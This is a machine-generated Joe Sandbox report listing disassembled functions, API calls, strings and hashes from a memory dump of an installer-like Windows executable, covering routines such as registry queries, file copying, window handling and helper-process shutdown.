Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: Close$Open
String ID: .NET Framework not found$.NET Framework version %s not found$SOFTWARE\Microsoft\.NETFramework\Policy\v1.1$SOFTWARE\Microsoft\.NETFramework\Policy\v2.0$SOFTWARE\Microsoft\.NETFramework\Policy\v4.0$v1.1.4322$v2.0.50727$v4.0.30319
API String ID: 2976201327-446240816
Opcode ID: 4a110fd54c67272918f155c84fd5e7c55fc1eb208e7566f68b065823514e3926
Instruction ID: b06f59bb3d6be91165b8bdbc27cbaff9901adf20ec6b7ffb5bff20868c6d7bc9
Opcode Fuzzy Hash: 4a110fd54c67272918f155c84fd5e7c55fc1eb208e7566f68b065823514e3926
Instruction Fuzzy Hash: 7F51A131A04144EBCB00DFA988A17EE77B6DB49305F54447BE800DB382E63D9E0ACB58

Function 00458864 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 70sleepsynchronizationCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(?), ref: 0045889B
TerminateProcess.KERNEL32(?,00000001,?,00002710,?), ref: 004588B7
WaitForSingleObject.KERNEL32(?,00002710,?), ref: 004588C5
GetExitCodeProcess.KERNEL32(?), ref: 004588D6
CloseHandle.KERNEL32(?,?,?,?,00002710,?,00000001,?,00002710,?), ref: 0045891D
Sleep.KERNEL32(000000FA,?,?,?,?,00002710,?,00000001,?,00002710,?), ref: 00458939

Strings

Helper isn't responding; killing it., xrefs: 004588A7
Stopping 64-bit helper process. (PID: %u), xrefs: 0045888D
Helper process exited, but failed to get exit code., xrefs: 0045890F
Helper process exited., xrefs: 004588E5
Helper process exited with failure code: 0x%x, xrefs: 00458903

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: CloseHandleProcess$CodeExitObjectSingleSleepTerminateWait
String ID: Helper isn't responding; killing it.$Helper process exited with failure code: 0x%x$Helper process exited, but failed to get exit code.$Helper process exited.$Stopping 64-bit helper process. (PID: %u)
API String ID: 3355656108-1243109208
Opcode ID: dbcea0f0447e14293e2ba497c2ba511ba70dab0111fa353bc66056d4bed30cc0
Instruction ID: 5c1f132ce02699e8ecfae473a4aa832f70e08e49b07aa2054fbd8a494dc4d87a
Opcode Fuzzy Hash: dbcea0f0447e14293e2ba497c2ba511ba70dab0111fa353bc66056d4bed30cc0
Instruction Fuzzy Hash: 582171706087409AD710E779C44575BB6D4AF48309F00C82FB9DAD7693DE7CE8488B6B

Function 004544FC Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 228registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0042DDDC: RegCreateKeyExA.ADVAPI32(?,?,?,?,?,?,?,?,?), ref: 0042DE08

RegQueryValueExA.ADVAPI32(?,?,00000000,?,00000000,?,00000000,004546D3,?,00000000,00454797), ref: 00454623
RegCloseKey.ADVAPI32(?,?,?,00000000,00000004,00000000,00000001,?,00000000,?,00000000,004546D3,?,00000000,00454797), ref: 0045475F

Part of subcall function 0042E8C0: FormatMessageA.KERNEL32(00003200,00000000,4C783AFB,00000000,?,00000400,00000000,?,00453247,00000000,kernel32.dll,Wow64RevertWow64FsRedirection,00000000,kernel32.dll,Wow64DisableWow64FsRedirection,00000000), ref: 0042E8DF

Strings

, xrefs: 00454585
Software\Microsoft\Windows\CurrentVersion\SharedDLLs, xrefs: 0045453B
RegCreateKeyEx, xrefs: 00454597
Software\Microsoft\Windows\CurrentVersion\SharedDLLs, xrefs: 0045456B

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: CloseCreateFormatMessageQueryValue
String ID: $RegCreateKeyEx$Software\Microsoft\Windows\CurrentVersion\SharedDLLs$Software\Microsoft\Windows\CurrentVersion\SharedDLLs
API String ID: 2481121983-1280779767
Opcode ID: fb036eabf5a146f2d7e855c45c9778b44f21e44f1b6b00b130857789a6a7aa14
Instruction ID: 79a928fbfbb5cbc52e9f584d13fa8ff479f10e23804a0d57af644d787f67e4fc
Opcode Fuzzy Hash: fb036eabf5a146f2d7e855c45c9778b44f21e44f1b6b00b130857789a6a7aa14
Instruction Fuzzy Hash: 4C812275A00209AFDB00DFD5C841BEEB7B9EF49305F50452AF900FB292D7789A49CB69

Function 0049615C Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 141fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00453890: CreateFileA.KERNEL32(00000000,C0000000,00000000,00000000,00000002,00000080,00000000,.tmp,-cI,_iu,?,00000000,004539CA), ref: 0045397F
Part of subcall function 00453890: CloseHandle.KERNEL32(00000000,00000000,C0000000,00000000,00000000,00000002,00000080,00000000,.tmp,-cI,_iu,?,00000000,004539CA), ref: 0045398F

CopyFileA.KERNEL32(00000000,00000000,00000000), ref: 004961D9
SetFileAttributesA.KERNEL32(00000000,00000080,00000000,0049632D), ref: 004961FA
CreateWindowExA.USER32(00000000,STATIC,0049633C,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00400000,00000000), ref: 00496221
SetWindowLongA.USER32(?,000000FC,004959B4), ref: 00496234
SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000097,00000000,00496300,?,?,000000FC,004959B4,00000000,STATIC,0049633C), ref: 00496264
MsgWaitForMultipleObjects.USER32(00000001,?,00000000,000000FF,000000FF), ref: 004962D8
CloseHandle.KERNEL32(?,?,?,00000000,00000000,00000000,00000000,00000000,00000097,00000000,00496300,?,?,000000FC,004959B4,00000000), ref: 004962E4

Part of subcall function 00453D04: WritePrivateProfileStringA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00453DEB

73A25CF0.USER32(?,00496307,00000000,00000000,00000000,00000000,00000000,00000097,00000000,00496300,?,?,000000FC,004959B4,00000000,STATIC), ref: 004962FA

Strings

STATIC, xrefs: 0049621A
/SECONDPHASE="%s" /FIRSTPHASEWND=$%x , xrefs: 00496293

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: FileWindow$CloseCreateHandle$AttributesCopyLongMultipleObjectsPrivateProfileStringWaitWrite
String ID: /SECONDPHASE="%s" /FIRSTPHASEWND=$%x $STATIC
API String ID: 170458502-2312673372
Opcode ID: 9b06694425e575e437806c69a3063783cd4ae9b2f688ab1fdd8fd86893ac9854
Instruction ID: 59c6668a25180793b9734d4b881d6428f2164d7595bd96eb0933aaec2009094d
Opcode Fuzzy Hash: 9b06694425e575e437806c69a3063783cd4ae9b2f688ab1fdd8fd86893ac9854
Instruction Fuzzy Hash: 30413070A00204AFDF11EBA5DD42FAE7BB8EB09714F61457AF500F7291D7799A048B68

Function 0042E410 Relevance: 17.6, APIs: 4, Strings: 6, Instructions: 86registrylibraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,GetUserDefaultUILanguage,00000000,0042E515,?,00000000,0047DD24,00000000), ref: 0042E439
GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 0042E43F
RegCloseKey.ADVAPI32(00000000,00000000,00000001,00000000,00000000,kernel32.dll,GetUserDefaultUILanguage,00000000,0042E515,?,00000000,0047DD24,00000000), ref: 0042E48D

Strings

Control Panel\Desktop\ResourceLocale, xrefs: 0042E49C
Locale, xrefs: 0042E47C
kernel32.dll, xrefs: 0042E434
GetUserDefaultUILanguage, xrefs: 0042E42F
%aE, xrefs: 0042E4CF, 0042E4D7, 0042E4E2, 0042E504
.DEFAULT\Control Panel\International, xrefs: 0042E464

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: AddressCloseHandleModuleProc
String ID: %aE$.DEFAULT\Control Panel\International$Control Panel\Desktop\ResourceLocale$GetUserDefaultUILanguage$Locale$kernel32.dll
API String ID: 4190037839-4073108654
Opcode ID: 2da1f24d3b2dac621d95ef46090c641aa8f16fa50bf8c44a058beec2af7c6974
Instruction ID: 54e13c124a033066941eeca65415b1323707e8dcf3020f71d3dbb5d1a98da02b
Opcode Fuzzy Hash: 2da1f24d3b2dac621d95ef46090c641aa8f16fa50bf8c44a058beec2af7c6974
Instruction Fuzzy Hash: C5214430B10225BBDB00EAE7DC45B9E76B8EB48708F904477A500E7281E77CDE419B1C

Function 00462818 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 82libraryloaderCOMMON

Download Yara Rule

APIs

GetActiveWindow.USER32 ref: 00462824
GetModuleHandleA.KERNEL32(user32.dll), ref: 00462838
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 00462845
GetProcAddress.KERNEL32(00000000,GetMonitorInfoA), ref: 00462852
GetWindowRect.USER32(?,00000000), ref: 0046289E
SetWindowPos.USER32(?,00000000,?,?,00000000,00000000,0000001D,?,00000000), ref: 004628DC

Strings

MonitorFromWindow, xrefs: 0046283F
GetMonitorInfoA, xrefs: 0046284C
(, xrefs: 0046287D
user32.dll, xrefs: 00462833

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: Window$AddressProc$ActiveHandleModuleRect
String ID: ($GetMonitorInfoA$MonitorFromWindow$user32.dll
API String ID: 2610873146-3407710046
Opcode ID: 1a12ae3bf6497ff777cd16400bb62bc7ce249fae767d1011b5c9c7ae1396f400
Instruction ID: 4c37a186de2a83ca6a9e6f1427afc5cce354ac5e92891655707437263646b99d
Opcode Fuzzy Hash: 1a12ae3bf6497ff777cd16400bb62bc7ce249fae767d1011b5c9c7ae1396f400
Instruction Fuzzy Hash: 8621C571700B006BD310E664DD41F3B3798EB84710F08063AF984DB3D2EAB8EC008B9A

Function 0042F180 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 82libraryloaderCOMMON

Download Yara Rule

APIs

GetActiveWindow.USER32 ref: 0042F18C
GetModuleHandleA.KERNEL32(user32.dll), ref: 0042F1A0
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 0042F1AD
GetProcAddress.KERNEL32(00000000,GetMonitorInfoA), ref: 0042F1BA
GetWindowRect.USER32(?,00000000), ref: 0042F206
SetWindowPos.USER32(?,00000000,?,?,00000000,00000000,0000001D), ref: 0042F244

Strings

GetMonitorInfoA, xrefs: 0042F1B4
user32.dll, xrefs: 0042F19B
(, xrefs: 0042F1E5
MonitorFromWindow, xrefs: 0042F1A7

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: Window$AddressProc$ActiveHandleModuleRect
String ID: ($GetMonitorInfoA$MonitorFromWindow$user32.dll
API String ID: 2610873146-3407710046
Opcode ID: f060aae0b7a5edf3cc9df1b8e2ac1156138d1c343137e24e009784064c48acd9
Instruction ID: fe4b6ce3f65a79f89e9c436b8398c0b3b6e1cac74b3897b930778965e8aa8e9e
Opcode Fuzzy Hash: f060aae0b7a5edf3cc9df1b8e2ac1156138d1c343137e24e009784064c48acd9
Instruction Fuzzy Hash: 8A21D479300710ABD700D668EC81F3B36E8EB85710F88457AF944DB3C1DA79EC048BA9

Function 00458A3C Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 127pipeCOMMON

Download Yara Rule

APIs

CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,00000000,00458C1B,?,00000000,00458C7E,?,?,02213858,00000000), ref: 00458A99
TransactNamedPipe.KERNEL32(?,-00000020,0000000C,-00004034,00000014,02213858,?,00000000,00458BB0,?,00000000,00000001,00000000,00000000,00000000,00458C1B), ref: 00458AF6
GetLastError.KERNEL32(?,-00000020,0000000C,-00004034,00000014,02213858,?,00000000,00458BB0,?,00000000,00000001,00000000,00000000,00000000,00458C1B), ref: 00458B03
MsgWaitForMultipleObjects.USER32(00000001,00000000,00000000,000000FF,000000FF), ref: 00458B4F
GetOverlappedResult.KERNEL32(?,?,00000000,00000001,00458B89,?,-00000020,0000000C,-00004034,00000014,02213858,?,00000000,00458BB0,?,00000000), ref: 00458B75
GetLastError.KERNEL32(?,?,00000000,00000001,00458B89,?,-00000020,0000000C,-00004034,00000014,02213858,?,00000000,00458BB0,?,00000000), ref: 00458B7C

Part of subcall function 00453470: GetLastError.KERNEL32(00000000,00454005,00000005,00000000,0045403A,?,?,00000000,0049B628,00000004,00000000,00000000,00000000,?,004978B1,00000000), ref: 00453473

Strings

CreateEvent, xrefs: 00458AA7
TransactNamedPipe, xrefs: 00458B0F

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: ErrorLast$CreateEventMultipleNamedObjectsOverlappedPipeResultTransactWait
String ID: CreateEvent$TransactNamedPipe
API String ID: 2182916169-3012584893
Opcode ID: 893ade2b7d25531ff66c13e68608fa62c4cd61168c1a2b8304732b74ac398c25
Instruction ID: 8abbb299140198d1acf2f300c186b6d7a0c7583c2a92940a340f901db1703015
Opcode Fuzzy Hash: 893ade2b7d25531ff66c13e68608fa62c4cd61168c1a2b8304732b74ac398c25
Instruction Fuzzy Hash: D4418771A00608EFDB15DF95CD81F9EB7F8EB48714F10406AF904F7292DA789E44CA28

Function 00456B40 Relevance: 15.8, APIs: 3, Strings: 6, Instructions: 99libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(OLEAUT32.DLL,UnRegisterTypeLib,00000000,00456CA5,?,?,00000031,?), ref: 00456B68
GetProcAddress.KERNEL32(00000000,OLEAUT32.DLL), ref: 00456B6E
LoadTypeLib.OLEAUT32(00000000,?), ref: 00456BBB

Part of subcall function 00453470: GetLastError.KERNEL32(00000000,00454005,00000005,00000000,0045403A,?,?,00000000,0049B628,00000004,00000000,00000000,00000000,?,004978B1,00000000), ref: 00453473

Strings

UnRegisterTypeLib, xrefs: 00456B5E
ITypeLib::GetLibAttr, xrefs: 00456BF1
UnRegisterTypeLib, xrefs: 00456C27
OLEAUT32.DLL, xrefs: 00456B63
GetProcAddress, xrefs: 00456B7B
LoadTypeLib, xrefs: 00456BC6

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: AddressErrorHandleLastLoadModuleProcType
String ID: GetProcAddress$ITypeLib::GetLibAttr$LoadTypeLib$OLEAUT32.DLL$UnRegisterTypeLib$UnRegisterTypeLib
API String ID: 1914119943-2711329623
Opcode ID: 429f9213fdce0867704162136d35381b6641e802cf297fe1828a7e481cb37b2a
Instruction ID: 90c7a9fdd6b9eff4f50a7868ac1bc5a0a48bbd230e3c9f86fc21845b06ed4ed7
Opcode Fuzzy Hash: 429f9213fdce0867704162136d35381b6641e802cf297fe1828a7e481cb37b2a
Instruction Fuzzy Hash: 1B31B271A00A04AF9702EFAACC51D5BB7BDEB89746752846AFC04D3752DA38DD04C768

Function 00416D78 Relevance: 15.2, APIs: 10, Instructions: 167windowCOMMON

Download Yara Rule

APIs

RectVisible.GDI32(?,?), ref: 00416E0B
SaveDC.GDI32(?), ref: 00416E1F
IntersectClipRect.GDI32(?,00000000,00000000,?,?), ref: 00416E42
RestoreDC.GDI32(?,?), ref: 00416E5D
CreateSolidBrush.GDI32(00000000), ref: 00416EDD
FrameRect.USER32(?,?,?), ref: 00416F10
DeleteObject.GDI32(?), ref: 00416F1A
CreateSolidBrush.GDI32(00000000), ref: 00416F2A
FrameRect.USER32(?,?,?), ref: 00416F5D
DeleteObject.GDI32(?), ref: 00416F67

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: Rect$BrushCreateDeleteFrameObjectSolid$ClipIntersectRestoreSaveVisible
String ID:
API String ID: 375863564-0
Opcode ID: 4f2037b5eabd4c0ddd7adb5546328da8476fa2c27bed59ce0fc3228c4463e070
Instruction ID: 3aa003abb57efcc62207c922e0442432c52dbc4458161ac97ea4a6727b5fec63
Opcode Fuzzy Hash: 4f2037b5eabd4c0ddd7adb5546328da8476fa2c27bed59ce0fc3228c4463e070
Instruction Fuzzy Hash: 7F512B716086459FDB50EF29C8C0B9777E8AF48314F15466ABD889B287C738EC81CB99

Function 00404ABF Relevance: 15.1, APIs: 10, Instructions: 122fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000002,00000000,00000003,00000080,00000000), ref: 00404B46
GetFileSize.KERNEL32(?,00000000,00000000,80000000,00000002,00000000,00000003,00000080,00000000), ref: 00404B6A
SetFilePointer.KERNEL32(?,-00000080,00000000,00000000,?,00000000,00000000,80000000,00000002,00000000,00000003,00000080,00000000), ref: 00404B86
ReadFile.KERNEL32(?,?,00000080,?,00000000,00000000,?,-00000080,00000000,00000000,?,00000000,00000000,80000000,00000002,00000000), ref: 00404BA7
SetFilePointer.KERNEL32(?,00000000,00000000,00000002), ref: 00404BD0
SetEndOfFile.KERNEL32(?,?,00000000,00000000,00000002), ref: 00404BDA
GetStdHandle.KERNEL32(000000F5), ref: 00404BFA
GetFileType.KERNEL32(?,000000F5), ref: 00404C11
CloseHandle.KERNEL32(?,?,000000F5), ref: 00404C2C
GetLastError.KERNEL32(000000F5), ref: 00404C46

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: File$HandlePointer$CloseCreateErrorLastReadSizeType
String ID:
API String ID: 1694776339-0
Opcode ID: 9f56c7289f94e04900e6d065ddfea074988f08e379b72121dafcd5ad7d79337d
Instruction ID: 0555156f4d2a620bb114dc01d937536d57074fdea11cd86abdfeb4dd56d828b4
Opcode Fuzzy Hash: 9f56c7289f94e04900e6d065ddfea074988f08e379b72121dafcd5ad7d79337d
Instruction Fuzzy Hash: 3741B3F02093009AF7305E248905B2375E5EBC0755F208E3FE296BA6E0D7BDE8458B1D

Function 004221E0 Relevance: 15.1, APIs: 10, Instructions: 74windowCOMMON

Download Yara Rule

APIs

GetSystemMenu.USER32(00000000,00000000), ref: 0042222B
DeleteMenu.USER32(00000000,0000F130,00000000,00000000,00000000), ref: 00422249
DeleteMenu.USER32(00000000,00000007,00000400,00000000,0000F130,00000000,00000000,00000000), ref: 00422256
DeleteMenu.USER32(00000000,00000005,00000400,00000000,00000007,00000400,00000000,0000F130,00000000,00000000,00000000), ref: 00422263
DeleteMenu.USER32(00000000,0000F030,00000000,00000000,00000005,00000400,00000000,00000007,00000400,00000000,0000F130,00000000,00000000,00000000), ref: 00422270
DeleteMenu.USER32(00000000,0000F020,00000000,00000000,0000F030,00000000,00000000,00000005,00000400,00000000,00000007,00000400,00000000,0000F130,00000000,00000000), ref: 0042227D
DeleteMenu.USER32(00000000,0000F000,00000000,00000000,0000F020,00000000,00000000,0000F030,00000000,00000000,00000005,00000400,00000000,00000007,00000400,00000000), ref: 0042228A
DeleteMenu.USER32(00000000,0000F120,00000000,00000000,0000F000,00000000,00000000,0000F020,00000000,00000000,0000F030,00000000,00000000,00000005,00000400,00000000), ref: 00422297
EnableMenuItem.USER32(00000000,0000F020,00000001), ref: 004222B5
EnableMenuItem.USER32(00000000,0000F030,00000001), ref: 004222D1

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: Menu$Delete$EnableItem$System
String ID:
API String ID: 3985193851-0
Opcode ID: 5abdbd2448cd02f00dbd9e0a18e72027fb78d1268677703bf36b2e23ad6afd93
Instruction ID: 3d512aed001548988d9f6823c75d43677a46120aeb5bb01c9b252fa7414fdf33
Opcode Fuzzy Hash: 5abdbd2448cd02f00dbd9e0a18e72027fb78d1268677703bf36b2e23ad6afd93
Instruction Fuzzy Hash: 692144703407447AE720E724DD8BFABBBD8AB04708F1455A5B6487F6D3C2F9AB804698

Function 00480E18 Relevance: 14.2, APIs: 3, Strings: 5, Instructions: 175windowCOMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(10000000), ref: 00480FD5
FreeLibrary.KERNEL32(00000000), ref: 00480FE9
SendNotifyMessageA.USER32(000403E6,00000496,00002710,00000000), ref: 0048105B

Strings

Restarting Windows., xrefs: 00481036
Not restarting Windows because Setup is being run from the debugger., xrefs: 0048100A
Deinitializing Setup., xrefs: 00480E36
GetCustomSetupExitCode, xrefs: 00480E75
DeinitializeSetup, xrefs: 00480ED1

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: FreeLibrary$MessageNotifySend
String ID: DeinitializeSetup$Deinitializing Setup.$GetCustomSetupExitCode$Not restarting Windows because Setup is being run from the debugger.$Restarting Windows.
API String ID: 3817813901-1884538726
Opcode ID: aeb7eeed0520e5db2a06f6f9575c7ce6fe4ce849ef8be63e157f84bdb35f0c9d
Instruction ID: 3a7bead0d2027120b4b43806ed62f13ca717c16daae07b60498e62be9a129c9c
Opcode Fuzzy Hash: aeb7eeed0520e5db2a06f6f9575c7ce6fe4ce849ef8be63e157f84bdb35f0c9d
Instruction Fuzzy Hash: 6E5191307042409FD711EB65D9A5B6E77E8EB5A304F50887BF900D73A2CB38A849CB9D

Function 004614B4 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 82COMMON

Download Yara Rule

APIs

SHGetMalloc.SHELL32(?), ref: 004614EF
GetActiveWindow.USER32 ref: 00461553
CoInitialize.OLE32(00000000), ref: 00461567
SHBrowseForFolder.SHELL32(?), ref: 0046157E
CoUninitialize.OLE32(004615BF,00000000,?,?,?,?,?,00000000,00461643), ref: 00461593
